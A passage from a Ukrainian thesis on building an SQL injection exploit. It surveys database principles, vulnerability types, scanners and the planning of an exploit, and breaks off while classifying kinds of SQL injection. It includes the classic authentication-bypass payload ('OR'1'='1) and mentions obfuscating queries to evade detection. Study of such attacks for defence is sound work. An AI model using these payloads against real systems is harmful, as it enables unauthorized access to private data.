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Мета роботи полягає в розробці експлойту, який використовує вразливості, методи постексплуатації в системах управління базами даних SQL, для демонстрації можливих атак та їх наслідків.
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За результатами аналізу впливу успішної атаки на систему управління базами даних, включаючи потенційні наслідки для безпеки даних і загальної стабільності системи сформульовано рекомендації для адміністраторів баз даних і розробників програмного забезпечення щодо покращення безпеки і захисту від виявлених вразливостей.


ABSTRACT

The topic of the qualification work: “Development of an exploit for vulnerabilities of SQL databases”.
The author of the work: Simaev Aslan.
Supervisor: Doctor of Technical Sciences, Professor Tetyana Hryhorivna Fesenko.
Total volume of work: 66 pages. The number of illustrations is 9. The number of tables is 5. The number of bibliographic references is 30 references.
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The purpose of the work is to develop an exploit that uses vulnerabilities, post-exploitation methods in SQL database management systems, to demonstrate possible attacks and their consequences. 
As a result of the conducted research, various types of vulnerabilities in SQL database management systems were analyzed and identified, namely SQL Injection, unauthorized accesses, insufficient management of access rights, and others. An exploit has been created that uses these vulnerabilities to demonstrate real attack capabilities. The developed exploit was tested in a controlled environment to check its effectiveness and impact on the database. This included testing the exploit on different versions of SQL systems and with different configurations.
Based on the results of the analysis of the impact of a successful attack on the database management system, including the potential consequences for data security and overall system stability, recommendations for database administrators and software developers to improve security and protection against identified vulnerabilities have been formulated.
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ПЕРЕЛІК УМОВНИХ ПОЗНАЧЕНЬ, СКОРОЧЕНЬ І ТЕРМІНІВ

	ОС
	–
	Операційна система.

	ПЗ
	–
	Програмне забезпечення.

	СУБД
	–
	Системи управління базами даних.

	ШПЗ
	–
	Шкідливе програмне забезпечення.

	5NF або PJ / NF
	–
	П’ята нормальна форма, або нормальна форма проекції-з’єднання.

	API
	–
	(Application Programming Interface) – це набір інструкцій, які дозволяють різним програмам спілкуватись між собою та обмінюватись даними. API простими словами – це як правила гри, за якими всі гравці повинні грати, щоб гра працювала правильно.

	BCNF
	–
	Нормальна форма Бойса-Кодда.

	CVE
	–
	(Common Vulnerabilities and Exposures)

	HTTP
	–
	Запити для отримання даних.

	IDS/IPS
	–
	Системи запобігання вторгненням.

	NVD
	–
	(National Vulnerability Database)

	SQL
	–
	(Structured Query Language) є основними інструментами для організації, зберігання та керування великими обсягами даних.

	URL
	–
	Параметри запитів і куків.





ВСТУП

Актуальність. У сучасному цифровому світі безпека інформаційних систем стає однією з найважливіших проблем, оскільки зростає кількість кібератак, що спричиняють серйозні наслідки для бізнесу та користувачів. SQL-вразливості, такі як SQL-ін’єкції, залишаються одними з найбільш поширених і небезпечних загроз для баз даних, оскільки вони дозволяють зловмисникам отримувати несанкціонований доступ до чутливої інформації, виконувати довільний код та маніпулювати даними.
Розробка експлойтів для вразливостей баз даних SQL не лише підвищує обізнаність про потенційні загрози, але й сприяє вдосконаленню методів захисту. Вивчення та аналіз таких експлойтів дозволяють виявити слабкі місця в системах і розробити ефективні стратегії для їх усунення. 
Крім того, дане дослідження має значення для формування навчальних програм, спрямованих на підготовку спеціалістів з кібербезпеки, адже знання про методи атаки є невід’ємною частиною розвитку ефективних засобів захисту. 
Таким чином, актуальність роботи “Розробка експлойту для вразливостей баз даних SQL” визначається не лише необхідністю вивчення і розуміння загроз, але й прагненням до підвищення загального рівня безпеки інформаційних систем у сучасному світі.
Ключовими аспектами розробки експлойту для вразливостей баз даних SQL є виявлення вразливостей, створення шкідливого SQL-запиту, експлуатація вразливості, оптимізація та уникнення виявлення, аналіз результатів, а також документація та звітність. 
Першим етапом є ідентифікація потенційних вразливостей у системах управління базами даних, таких як SQL-ін’єкції. Це може включати аналіз коду, сканування через спеціалізовані інструменти та ручні методи тестування. Після виявлення вразливостей розробляється специфічний SQL-запит, здатний експлуатувати ці слабкі місця, що вимагає знання синтаксису SQL та розуміння логіки роботи цільової бази даних.
На етапі експлуатації здійснюється запуск створеного запиту з метою отримання несанкціонованого доступу або виконання небажаних дій, таких як витік конфіденційних даних. Важливо також розробити методи, які дозволять ефективніше експлуатувати вразливість і уникнути виявлення системами безпеки, наприклад, використовуючи техніки обфускації або змінюючи структуру запиту.
Завершальним етапом є аналіз результатів, який включає оцінку успішності атаки та визначення значущості отриманих результатів. Документування всіх етапів процесу є важливим для підготовки звіту про виявлені вразливості та методи їх експлуатації, що буде корисним як для розробників, так і для фахівців з безпеки.
Таким чином, ці аспекти забезпечують комплексний підхід до розробки експлойтів для вразливостей баз даних SQL, сприяючи глибшому розумінню механізмів атаки та захисту.
Отже метою роботи є дослідження вразливостей баз даних SQL, розробка експлойта для їх експлуатації, а також виявлення і аналіз методів захисту від цих атак. Це включає в себе вивчення технік виявлення вразливостей, створення ефективних SQL-запитів для їх експлуатації, оптимізацію процесу атаки та розробку рекомендацій щодо підвищення безпеки інформаційних систем. Завдяки цьому, робота прагне підвищити обізнаність про загрози, пов’язані з SQL-ін’єкціями, і сприяти покращенню заходів безпеки у сфері інформаційних технологій.
У першому розділі проведено змістовний аналіз принципів функціонування систем управління базами даних SQL, а також розглянуто вразливості баз даних, їх ідентифікацію, методи експлуатації, а також використання сканерів вразливостей.
Другий розділ кваліфікаційної роботи присвячений розробці експлойту. У цьому розділі розглядаються етапи планування експлойту, визначення вразливостей, програмування експлойту, а також наводиться код експлойту. Крім того, детально описуються інструменти і техніки, що використовуються для розробки та тестування експлойту.
У третьому розділі роботи представлено тестування та оцінку результатів. Тут описується налаштування тестового середовища, проведення тестування, а також аналіз виявлених вразливостей і проблем. Цей розділ сприяє розумінню ефективності розробленого експлойту та його впливу на безпеку інформаційних систем.
Об’єктом дослідження є вразливості систем управління базами даних SQL, зокрема, методи їх виявлення та експлуатації, а також механізми захисту від потенційних атак.
[image: ]Предметом є – розробка є розробка експлойта для вразливості баз даних SQL, включаючи етапи планування, програмування та тестування цих експлойтів, а також аналіз їх ефективності та можливих заходів для захисту від атак.
Відповідно до визначеної мети в дипломній роботі поставлені, і вирішені наступні задачі:
1. Ідентифікація основних вразливостей баз даних і аналіз методів їх експлуатації.
2. Розробка експлойту для вразливостей SQL, включаючи його планування та програмування.
3. Тестування розробленого експлойту в налаштованому тестовому середовищі та оцінка результатів тестування.
Наукова новизна роботи полягає в розробці нових підходів до ідентифікації та експлуатації вразливостей баз даних SQL, а також у створенні ефективних експлойтів, що враховують сучасні методи атаки. Дослідження включає в себе аналіз та тестування різних технік експлуатації вразливостей, що дозволяє глибше зрозуміти механізми їх роботи та вплив на безпеку інформаційних систем. Крім того, робота пропонує рекомендації для покращення захисту баз даних на основі отриманих результатів, що має практичне значення для фахівців у сфері кібербезпеки.
Методи дослідження. Для вирішення поставлених задач в дипломній роботі використовувалися методи пізнання, системного аналізу і експерименту.
Основні результати, отримані в дипломній роботі що виносяться на захист:
- Основні вразливості баз даних SQL, зокрема SQL-ін’єкції, та їх вплив на безпеку інформаційних систем.
- Розроблений експлойт для певних вразливостей, що демонструє методи їх експлуатації, включаючи детальний код і опис реалізації.
- Проведене тестування експлойту в налаштованому тестовому середовищі, що дозволило оцінити його ефективність та виявити потенційні ризики.
Ці результати підкреслюють значення роботи в контексті сучасних викликів у сфері кібербезпеки та її внесок у підвищення обізнаності про загрози вразливостей баз даних.
Практична цінність розробленого інструмента полягає в його здатності підвищувати безпеку баз даних шляхом виявлення та аналізу вразливостей SQL, що допомагає запобігти несанкціонованому доступу і зниженню ризиків атак. Інструмент також може використовуватися в навчальних курсах з кібербезпеки, дозволяючи студентам і практикам глибше зрозуміти механізми атак і захисту. Він має потенціал для адаптації до нових типів вразливостей, що забезпечує його актуальність у швидко змінному середовищі інформаційних технологій.
Отримані результати тестування можуть бути використані для розробки ефективних стратегій захисту, базуючись на реальних сценаріях атак, а також допоможуть організаціям відповідати сучасним стандартам безпеки та регуляторним вимогам у сфері захисту даних. Таким чином, розроблений інструмент має важливе значення для підвищення рівня безпеки баз даних і підтримки практичних заходів у сфері кібербезпеки.
Достовірність наукових положень, результатів отриманих в дипломній роботі підтверджується коректною постановкою задач.
Особистий внесок. Всі дослідження, викладені в дипломній роботі, проведені автором в процесі наукової діяльності. Результати, які виносяться на захист, отримані особисто, запозичений матеріал позначений в роботі посиланнями.


РОЗДІЛ 1
АКТУАЛЬНІСТЬ ТА ОБҐРУНТУВАННЯ ВИБОРУ ТЕМИ

1.1. Аналіз принципів функціонування систем управління базами даних SQL

Системи управління базами даних (СУБД) на основі SQL (Structured Query Language) (Рис. 1.1) є основними інструментами для організації, зберігання та керування великими обсягами даних. Принципи їх функціонування засновані на кількох ключових концепціях [1]:
[image: ]
Рисунок 1.1. – Схема управління базами даних

1. Реляційна модель. SQL-системи використовують реляційну модель даних, де дані зберігаються у вигляді таблиць (реляцій), що складаються з рядків і стовпців. Кожна таблиця представляє сутність (наприклад, користувачі, замовлення), а кожен рядок відповідає окремій сутності з набором атрибутів (наприклад, ім’я, вік) (Рис.1.2.) [1].
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Рисунок 1.2. – SQL-системи
2. Мова запитів SQL. SQL є декларативною мовою, що дозволяє користувачам взаємодіяти з базою даних без необхідності знання внутрішньої структури чи процесів. Вона включає такі основні операції, як (Рис.1.3.):
[image: ]
Рисунок 1.3. – Мови запитів SQL

3. ACID-принципи. Для забезпечення надійності та узгодженості даних СУБД SQL дотримуються ACID-принципів [2]:
- Атомарність (Atomicity) гарантує, що всі операції в рамках транзакції виконуються повністю або не виконуються зовсім.
- Узгодженість (Consistency) забезпечує перехід бази даних із одного допустимого стану в інший після виконання транзакцій.
- Ізольованість (Isolation) гарантує, що паралельні транзакції не впливають одна на одну.
- Довговічність (Durability) означає, що після підтвердження транзакції дані залишаються збереженими навіть у разі збою системи.
4. Індекси [2]. Для оптимізації пошуку даних SQL-СУБД використовують індекси. Вони дозволяють швидше знаходити рядки, які відповідають певним критеріям, без необхідності сканувати всю таблицю.
Види індексів
У MySQL існує чотири види індексів (Таб.1.1):
Таблиця 1.1. Види індексів MySQL.
	Види індексів
	Функції

	B-tree
	Один з найпопулярніших видів індексів, потрібний для пошуку за діапазоном або збігом.

	R-tree
	Потрібен для пошуку за координатами.
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5. Нормалізація. Для усунення надмірності даних і уникнення аномалій при оновленні використовують нормалізацію баз даних. Це процес поділу таблиць на менші, з чітко визначеними зв’язками між ними, щоб уникнути дублювання інформації.
В теорії реляційних баз даних звичайно виділяється наступна послідовність нормальних форм (Таб.1.2.)
Таблиця 1.2. Нормальних форм БД
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6. Керування транзакціями. SQL-СУБД надають інструменти для керування транзакціями, що дозволяє групувати декілька операцій в одну логічну одиницю роботи. Це підвищує надійність і дозволяє відновлювати базу даних у разі помилок.
7. Модель користувачів і прав доступу. СУБД SQL підтримують систему прав доступу, яка дозволяє визначати, які користувачі мають право читати, змінювати або видаляти певні дані. Це забезпечує безпеку та контроль доступу.
Загалом, системи управління базами даних на основі SQL є потужним інструментом для ефективного управління інформацією, забезпечуючи високу продуктивність, цілісність та безпеку даних.

1.2. Аналіз вразливостей баз даних. Ідентифікація вразливостей

Аналіз вразливостей баз даних є одним із найважливіших аспектів забезпечення безпеки інформаційних систем. Це обумовлено тим, що бази даних містять критично важливу й конфіденційну інформацію, яка може включати особисті дані користувачів, фінансові записи, інтелектуальну власність та інші чутливі дані. Неналежний захист цих систем може призвести до серйозних наслідків, як для організацій, так і для окремих користувачів [3].
Вразливості в базах даних можуть бути постексплуатовані зловмисниками для отримання несанкціонованого доступу, що створює можливості для крадіжки інформації або навіть пошкодження даних. Наприклад, такі атаки, як SQL-ін’єкції, можуть дозволити зловмисникам маніпулювати запитами до бази даних, отримуючи доступ до чутливих даних або виконуючи небажані операції [3]. 
Крім того, вразливі бази даних можуть бути атаковані через недостатню аутентифікацію та авторизацію, що дозволяє зловмисникам обходити механізми захисту. Це підкреслює важливість впровадження багатофакторної аутентифікації та відповідних політик управління доступом.
Необхідно також звернути увагу на конфігураційні вразливості, які можуть виникнути через неправильні налаштування бази даних або її компонентів. Регулярні аудити та моніторинг конфігурацій допомагають виявити ці проблеми та запобігти можливим атакам.
З огляду на ці фактори, аналіз вразливостей баз даних є невід’ємною частиною загальної стратегії кібербезпеки організації. Забезпечення належного рівня захисту даних не тільки знижує ризики, пов’язані з атаками, але й підвищує довіру користувачів до системи [3]. У результаті, регулярний аналіз та своєчасне виявлення вразливостей допоможуть захистити цінні дані, та забезпечити безпеку інформаційних систем у цілому.
Основні вразливості баз даних та їх ідентифікація включають наступні аспекти [4]:
1. SQL-ін’єкції (SQL Injection). Одна з найпоширеніших вразливостей, коли зловмисники вбудовують шкідливі SQL-запити у форми введення даних, щоб обійти механізми автентифікації або маніпулювати даними в базі. 
Ідентифікація [4]:
- Аналіз коду веб-додатків і бази даних на предмет необроблених введених користувачем даних.
- Використання інструментів для автоматизованого сканування на SQL-ін’єкції (наприклад, SQLmap).
2. Недостатній контроль доступу. Неправильна або відсутня конфігурація прав доступу дозволяє користувачам отримувати ширші права, ніж необхідно для їх ролі. Це може призвести до витоку або зміни конфіденційних даних.
Ідентифікація:
- Перевірка налаштувань ролей та прав доступу користувачів.
- Аудит привілеїв адміністративних акаунтів.
3. Небезпека незашифрованих даних. Якщо дані в базі або під час їх передачі не зашифровані, зловмисники можуть перехопити чутливу інформацію, таку як персональні дані, номери кредитних карток або паролі [4].
Ідентифікація:
- Перевірка шифрування даних “на спокої” (data at rest) та під час передачі (data in transit).
- Оцінка використання надійних алгоритмів шифрування.
4. Атаки на файли резервного копіювання. Резервні копії баз даних можуть зберігати критичні дані без належного захисту, що робить їх привабливою мішенню для атак [4].
Ідентифікація:
- Огляд методів зберігання резервних копій та їх шифрування.
- Аналіз прав доступу до резервних файлів.
5. Вразливості в програмному забезпеченні СУБД. Час від часу у програмному забезпеченні СУБД виявляються вразливості, які можуть бути експлуатовані зловмисниками, якщо їх вчасно не усунути [4].
Ідентифікація:
- Перевірка наявності оновлень та патчів для СУБД.
- Використання інструментів для виявлення уразливостей в системному програмному забезпеченні (наприклад, OpenVAS).
6. Неправильна конфігурація СУБД. Неправильні налаштування, як-от використання облікових записів із дефолтними паролями або недостатньо обмежений доступ до мережі, можуть створити потенційні ризики [5].
Ідентифікація:
- Аналіз конфігураційних файлів баз даних.
- Оцінка використання дефолтних облікових записів та налаштувань.
7. Підвищення привілеїв. Ця вразливість дозволяє користувачам із низькими привілеями отримувати доступ до адміністративних функцій бази даних, що може призвести до зміни важливих даних або повного контролю над системою [5].
Ідентифікація:
- Аудит користувацьких прав і привілеїв.
- Перевірка наявності механізмів захисту від експлуатації вразливостей підвищення привілеїв.
8. Ін’єкції через збережені процедури. Зловмисники можуть використовувати збережені процедури в СУБД для запуску шкідливих команд, якщо ці процедури не мають належного захисту [5].
Ідентифікація:
- Перевірка збережених процедур на наявність уразливостей ін’єкцій.
- Вивчення логіки збережених процедур та обмеження доступу до їх виконання.
9. Логічні помилки у запитах. Помилки в логіці SQL-запитів або неналежна обробка виняткових ситуацій можуть призводити до непередбачуваних наслідків або витоків даних [6].
Ідентифікація:
- Перегляд логіки SQL-запитів на відповідність вимогам безпеки.
- Тестування системи на випадкові відхилення в роботі запитів.
10. Відсутність належного журналювання та моніторингу. Без належного моніторингу дій у базі даних складно вчасно виявити підозрілі дії або потенційні атаки [6].
Ідентифікація:
- Оцінка наявності та ефективності систем журналювання.
- Впровадження систем моніторингу для виявлення аномальної активності.
Отже, підсумовуючи необхідн означити, що для захисту баз даних від вразливостей необхідно регулярно проводити їх аудит, оновлювати програмне забезпечення, налаштовувати шифрування та контроль доступу, а також застосовувати автоматизовані інструменти для сканування і виявлення потенційних загроз.

1.3. Методи експлуатації вразливостей. Сканери вразливостей.

Експлуатація вразливостей баз даних дозволяє зловмисникам отримати несанкціонований доступ до інформації, змінювати або видаляти дані, а також порушувати роботу системи. Ось основні методи експлуатації вразливостей [7]:
1. SQL-ін’єкція. SQL-ін’єкція є однією з найпоширеніших технік, коли зловмисник вбудовує шкідливий SQL-код у форму введення або параметри URL. Це дозволяє маніпулювати базою даних, обминаючи аутентифікацію або отримуючи доступ до прихованих даних.
Методи атаки: вставка в SQL-запити логічних умов, обхід автентифікації, отримання дампа бази даних.
Приклад: Запит з використанням 'OR'1'='1 дозволяє обійти логіку автентифікації.
2. Атака через збережені процедури. Зловмисники можуть використати вразливі збережені процедури, які виконують небезпечні операції з необмеженими привілеями, якщо вони не захищені належним чином.
Методи атаки: виконання небажаних операцій через ін’єкцію в параметри процедур, зміна даних або їх видалення.
Приклад: Передача параметра, що призводить до виконання шкідливого коду всередині процедури.
3. Використання слабких паролів. Зловмисники можуть отримати доступ до бази даних шляхом брутфорсингу слабких або дефолтних паролів для облікових записів СУБД.
Методи атаки: перебір паролів (brute force), використання паролів за замовчуванням.
Приклад: Використання паролів типу “admin” або “12345”.
4. Атаки на файлову систему. Резервні копії, лог-файли або тимчасові файли можуть зберігатися без належного шифрування чи обмеження доступу, що дозволяє зловмисникам їх викрасти або змінити.
Методи атаки: доступ до несанкціонованих файлів, підміна резервних копій.
Приклад: Завантаження нешифрованої резервної копії бази даних.
5. Підвищення привілеїв. Якщо зловмиснику вдається експлуатувати вразливості в конфігурації системи або помилки в програмному забезпеченні, він може отримати більш високі права доступу.
Методи атаки: експлуатація вразливостей у програмах для підвищення рівня доступу.
Приклад: Використання вразливості в ПЗ для отримання прав адміністратора.
6. Атаки типу DoS (Denial of Service). Зловмисники можуть намагатися перевантажити базу даних великою кількістю запитів, що може призвести до відмови в обслуговуванні або порушення її функціонування.
Методи атаки: масові SQL-запити, підготовлені для перевантаження системи.
Приклад: Постійне надсилання запитів, що вимагають інтенсивних обчислювальних ресурсів.
Сканери вразливостей – це автоматизовані інструменти, що використовуються для ідентифікації вразливостей у базах даних та інших системах. Вони виконують аудит безпеки, шукають відомі вразливості та надають звіти про потенційні загрози [7].
1. SQLmap. Один із найпопулярніших інструментів для автоматичного виявлення та експлуатації SQL-ін’єкцій. Підтримує різні типи баз даних, дозволяючи проводити детальний аналіз вразливостей.
Функції: тестування на SQL-ін’єкції, автоматичний витяг даних з бази, отримання дампів бази даних.
Переваги: широкий спектр підтримуваних СУБД, простота використання.
2. Nessus – це потужний сканер вразливостей, який використовується для виявлення слабких місць у мережах і базах даних. Nessus аналізує конфігурації та шукає відомі вразливості.
Функції: аналіз конфігурацій, пошук відомих вразливостей у базах даних, перевірка на наявність патчів.
Переваги: підтримка різноманітних платформ і сервісів, зручні звіти.
3. OpenVAS – цей сканер вразливостей з відкритим кодом дозволяє виконувати комплексний аудит безпеки. Він здатен виявляти вразливості у базах даних, операційних системах і мережевих пристроях.
Функції: сканування на наявність відомих вразливостей, аналіз конфігурацій баз даних.
Переваги: безкоштовне рішення з широкими можливостями налаштування.
4. Acunetix є інструментом для веб-безпеки, який також підтримує сканування баз даних на наявність вразливостей, таких як SQL-ін'єкції та проблеми з правами доступу.
Функції: виявлення SQL-ін’єкцій, аналіз веб-додатків на вразливості.
Переваги: інтеграція з іншими інструментами безпеки, високий рівень точності.
5. DbProtect [7]. Система для безпеки баз даних, яка включає інструменти для моніторингу активності, виявлення вразливостей та управління правами доступу.
Функції: аудит баз даних, моніторинг привілеїв, виявлення потенційних загроз.
Переваги: орієнтація на корпоративні бази даних, можливість інтеграції з іншими системами безпеки.
Методи експлуатації вразливостей баз даних різноманітні й часто залежать від слабких місць у програмному забезпеченні, конфігураціях або захисті даних. Використання сканерів вразливостей є важливою складовою забезпечення безпеки, оскільки вони дозволяють вчасно виявити вразливі місця і запобігти їх експлуатації зловмисниками [7].


РОЗДІЛ 2
РОЗРОБКА ЕКСПЛОЙТУ

2.1. Планування експлойту. Визначення вразливостей.

Планування розробки експлойту для вразливостей баз даних SQL – це ключовий етап підготовки кібератаки, під час якого зловмисники ідентифікують слабкі місця в системах або програмному забезпеченні [8]. Процес визначення вразливостей включає детальне вивчення системи на предмет потенційних лазівок, які можуть бути використані для отримання несанкціонованого доступу або порушення її функціональності.
1. Вивчення системи: аналіз архітектури, мережевих налаштувань та використовуємого програмного забезпечення.
Процес вивчення системи є початковим і надзвичайно важливим етапом для ідентифікації потенційних вразливостей. Він включає кілька ключових складових [8]:
Аналіз архітектури: Розуміння загальної структури системи, включаючи її компоненти, зв’язки між ними та логіку функціонування. Це допомагає виявити можливі точки входу, витоку даних, зміни або видалення інформації, а також слабкі місця, які можуть бути використані для несанкціонованого доступу до конфіденційної інформації.
Аналіз мережевих налаштувань включає вивчення конфігурацій мережі, зокрема налаштувань брандмауерів, маршрутизації, відкритих портів та сервісів, що функціонують на різних рівнях. Це дозволяє виявити елементи, які можуть бути вразливими через слабке захист або неправильну настройку. Важливо зазначити, що неналежний контроль доступу чи фільтрація даних можуть загрожувати безпеці бази даних. Зберігання облікових даних для доступу до бази даних у конфігураційних файлах без шифрування, а також відкритий доступ до бази для зовнішніх IP-адрес створюють додаткові вразливості. Крім того, використання незахищених протоколів, таких як HTTP замість HTTPS, може призвести до перехоплення запитів і відповідей, включаючи запити до бази даних. Неправильно налаштовані брандмауери також можуть дозволити несанкціонований доступ до бази даних [9].
Аналіз використовуваного програмного забезпечення: Аналіз програмного забезпечення починається з ідентифікації компонентів та версій, що застосовуються в системі. Це охоплює операційні системи, прикладні програми, драйвери, бібліотеки, фреймворки та інші елементи, які можуть містити відомі вразливості або потребувати оновлення для підвищення безпеки. Такий огляд допомагає зрозуміти архітектуру системи та взаємозв’язки між компонентами.
Критично важливим є перевірка наявності вразливостей у програмному забезпеченні. Використання застарілих версій, наявність відомих вразливостей або ненадійних джерел завантаження може становити серйозну загрозу для безпеки системи [9].
Також необхідно провести оцінку продуктивності програмних рішень, зокрема швидкості обробки запитів, використання ресурсів і масштабованості. Це дозволяє виявити вузькі місця та потенційні області для оптимізації.
Перевірка сумісності між різними компонентами системи є ще одним важливим етапом, оскільки конфлікти можуть призвести до збоїв або зниження продуктивності. Не менш важливим є врахування ліцензійних вимог програмного забезпечення. Неправильне використання ліцензій може мати юридичні наслідки [10].
Загалом, систематичний аналіз використовуваного програмного забезпечення є необхідним для забезпечення стабільності, безпеки та ефективності роботи системи [10]. Це дозволяє не тільки виявити існуючі проблеми, а й спланувати подальші кроки для вдосконалення та модернізації.
2. Сканування на вразливості: використання спеціальних інструментів для пошуку вже відомих вразливостей.
Сканування на вразливості є важливим етапом в процесі оцінки безпеки системи, який допомагає виявити відомі слабкі місця, що можуть бути експлуатовані зловмисниками. Для цього використовуються спеціалізовані інструменти, які автоматизують процес пошуку таких вразливостей [11].
Автоматизоване сканування [11]: Інструменти для сканування, такі як “Nmap”, “Nessus”, “OpenVAS” або “Qualys”, здійснюють пошук відомих вразливостей у програмному забезпеченні, відкритих портах, конфігураціях мережі та налаштуваннях системи. Вони перевіряють наявність застарілих версій програм, неправильно налаштованих сервісів або інших потенційно небезпечних компонентів.
Бази даних вразливостей [12]: Інструменти сканування використовують великі бази даних, такі як “CVE (Common Vulnerabilities and Exposures)” або “NVD (National Vulnerability Database)”, для перевірки, чи існують відомі проблеми безпеки у знайдених компонентів.
“Оцінка ризиків”: Після сканування результати класифікуються за ступенем ризику, що дозволяє визначити, які вразливості потребують негайного усунення, а які можуть бути менш критичними для безпеки системи.
Цей процес дозволяє швидко і ефективно виявити потенційні загрози та створити план щодо їх усунення або зниження ризику.
3. Аналіз результатів: визначення найбільш критичних слабких місць, які можуть бути використані для атаки [13].
Після сканування на вразливості необхідно провести аналіз отриманих результатів, щоб визначити, які слабкі місця становлять найбільший ризик для системи. Цей процес допомагає пріоритизувати вразливості для швидкого реагування та запобігання потенційним атакам.
Оцінка критичності вразливостей: Виявлені вразливості класифікуються за рівнем ризику (високий, середній, низький) на основі потенційних наслідків експлуатації цих слабких місць. Найбільш критичні вразливості – це ті, що можуть дозволити зловмисникам отримати контроль над системою, виконати експлуатацію віддаленого коду або отримати конфіденційну інформацію [13].
Врахування контексту [13]: Не всі вразливості становлять однакову загрозу для кожної системи. При аналізі результатів важливо враховувати специфіку архітектури та мережевих налаштувань. Деякі вразливості можуть бути більш критичними через те, що вони знаходяться на важливих вузлах системи або в зоні з підвищеною чутливістю даних.
Визначення пріоритетів усунення [14]: Після аналізу результатів розробляється план реагування. Найбільш критичні вразливості, які можуть бути використані для здійснення атаки з мінімальними зусиллями, повинні бути усунені в першу чергу. Інші вразливості можна виправляти поступово або застосувати тимчасові заходи для їхнього пом’якшення.
Цей етап дозволяє сфокусувати ресурси на усуненні найбільш небезпечних загроз і забезпечити ефективний захист системи від потенційних атак.
4. Оцінка можливостей експлойту [14]: моделювання можливих сценаріїв атаки для ефективного використання вразливостей.
Оцінка можливостей експлойту є ключовим етапом у процесі підготовки до кібератаки, під час якого зловмисники або спеціалісти з кібербезпеки моделюють різні сценарії використання виявлених вразливостей. Це дозволяє визначити найбільш ефективні способи атак на систему.
Моделювання сценаріїв атаки [15]: Після аналізу вразливостей створюються можливі сценарії їх експлуатації. Це може включати спроби отримати несанкціонований доступ до системи, підвищити привілеї користувача, здійснити віддалене виконання коду або викрасти чутливу інформацію. Кожен сценарій перевіряється на практичну реалізацію.
Оцінка ймовірності успішного експлойту: Для кожного сценарію аналізується ймовірність успішної атаки. Враховуються такі фактори, як складність експлуатації вразливості, наявність засобів захисту в системі, та можливі перешкоди для зловмисника. Чим легше здійснити експлойт, тим більш критичною є вразливість.
Оцінка наслідків атаки: Визначається, якими можуть бути наслідки успішного використання експлойту. Наприклад, це може призвести до повного контролю над системою, втрати даних або порушення роботи критичних служб. Оцінка наслідків допомагає зрозуміти, наскільки небезпечна вразливість і які заходи варто вжити для її усунення.
Розробка стратегії експлуатації [16]: Якщо моделювання показує, що певні вразливості можуть бути ефективно використані для атаки, розробляється детальна стратегія експлуатації цих вразливостей. Це включає підготовку необхідних інструментів і вибір оптимального часу для атаки.
Цей етап дозволяє оцінити реальну загрозу від виявлених вразливостей та підготуватися до їх ефективної експлуатації або запобігання атакам.

2.2. Програмування експлойту. Код експлойту

Програмування експлойту [17] – це процес створення шкідливого коду, який використовує виявлені вразливості для проведення атаки на систему. Код експлойту може бути написаний для різних типів вразливостей, і його основна мета – забезпечити зловмиснику доступ до системи або порушити її роботу.
Перед написанням коду я детально вивчав вразливості, старався зрозуміти їх природу та способи експлуатації. Проте на етапі аналізу я ще не визначив, яка саме це буде вразливість: переповнення буфера, SQL-ін’єкції, помилки в управлінні пам’яттю або інші типи вразливостей.
Мене дуже зацікавили алгоритми реалізації SQL-ін’єкцій, оскільки ця вразливість є однією з найпоширеніших у світі безпеки інформаційних систем. Вивчення механізмів її роботи дозволило мені глибше зрозуміти, як зловмисники можуть маніпулювати запитами до бази даних для отримання несанкціонованого доступу до чутливої інформації. Ця вразливість не лише демонструє слабкі місця в захисті систем, а й відкриває можливості для аналізу та вдосконалення методів захисту. Тому я вирішив зосередитися саме на SQL-ін’єкціях у своєму дослідженні, оскільки вони можуть мати серйозні наслідки для безпеки даних.
Отже, SQL-ін’єкція [17] – це одна з найпоширеніших і найнебезпечніших вразливостей веб-додатків, яка дозволяє зловмисникам впливати на запити до бази даних шляхом введення шкідливого коду через інтерфейс користувача. Основна мета SQL-ін’єкції – змінити або виконати небажаний SQL-запит, що може призвести до витоку конфіденційної інформації, знищення даних або отримання повного контролю над базою даних.
SQL-ін’єкція виникає, коли дані, що вводяться користувачем, напряму вставляються в SQL-запити без належної валідації або екранування. Це дозволяє зловмисникам вводити спеціальні SQL-команди, які змінюють поведінку запиту [18]. 
Приклад уразливого SQL-запиту: (Рис.2.1.)
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Рисунок 2.1. – Уразливий SQL-запит

Якщо поля для введення користувача (username, password) не захищені, зловмисник може ввести шкідливий код, наприклад (Рис.2.2):
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Рисунок 2.2. – Введення шкідливого коду

Тоді запит перетворюється на (Рис.2.3):
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Рисунок 2.3. – SQL-запит

Зазначене дозволяє SQL-запиту повертати всі записи з таблиці, оскільки умова `OR '1'='1'` завжди є істинною.
Класифікуючи існуючі типи SQL-ін’єкцій, необхідно зазначити, що вони поділяються на кілька основних категорій, а саме [19]:
1. Класична SQL-ін’єкція [19]. Цей тип атаки виникає, коли зловмисник вводе шкідливий SQL-код у вхідні дані/параметри запиту через інтерфейс користувача (форми, поля введення), які безпосередньо передаються в запит до бази даних. Це може призвести до отримання несанкціонованого доступу до даних.
2. Сліпа SQL-ін’єкція (Blind SQL Injection) [19]. Використовується, коли зловмисник не отримує безпосереднього зворотного зв’язку від бази даних, але може використовувати логічні запитання, щоб отримати інформацію про структуру бази даних. Зловмисник отримує відповідь через поведінку системи, наприклад, за допомогою умов типу TRUE/FALSE. Це робиться шляхом маніпуляції з запитами і аналізу поведінки програми. Це дозволяє поступово дізнаватися про вміст бази.
3. Помилкова SQL-ін’єкція (Error-based SQL Injection) [19]. Це тип атаки, при якій зловмисник використовує повідомлення про помилки, що виникають у результаті виконання SQL-запитів, для отримання інформації про структуру бази даних.
4. SQL-ін’єкції з використанням об’єднання (Union-based SQL Injection) [19]. Цей тип дозволяє зловмиснику об’єднувати результати декількох запитів, що санкціонує отримання даних з інших таблиць бази даних. В даній атаці використовується оператор `UNION` для з’єднання декількох запитів і отримання додаткової інформації з інших таблиць.
5. SQL-ін’єкції через відкладені запити (Time-based SQL Injection) [19]. Це тип атаки, при якому зловмисник маніпулює затримками в запитах для отримання інформації про структуру бази даних, базуючись на часу відповіді. Цей метод особливо корисний, коли інші типи SQL-ін’єкцій не працюють, і зловмисник не отримує чітких відповідей на свої запити.
6. Територіальні SQL-ін’єкції (Out-of-Band SQL Injection) [19]. Даний тип SQL-ін’єкції, дозволяє зловмиснику отримувати дані з бази даних, використовуючи інші канали зв’язку, а не стандартний механізм відповіді сервера на запити. Цей метод часто застосовується, коли сервер не повертає детальної інформації через звичайні запити або коли атаки на основі інших методів, таких як помилкові або керовані SQL-ін’єкції, не є можливими. При цьому зловмисник може використати зовнішні канали, такі як HTTP-запити, для отримання даних.
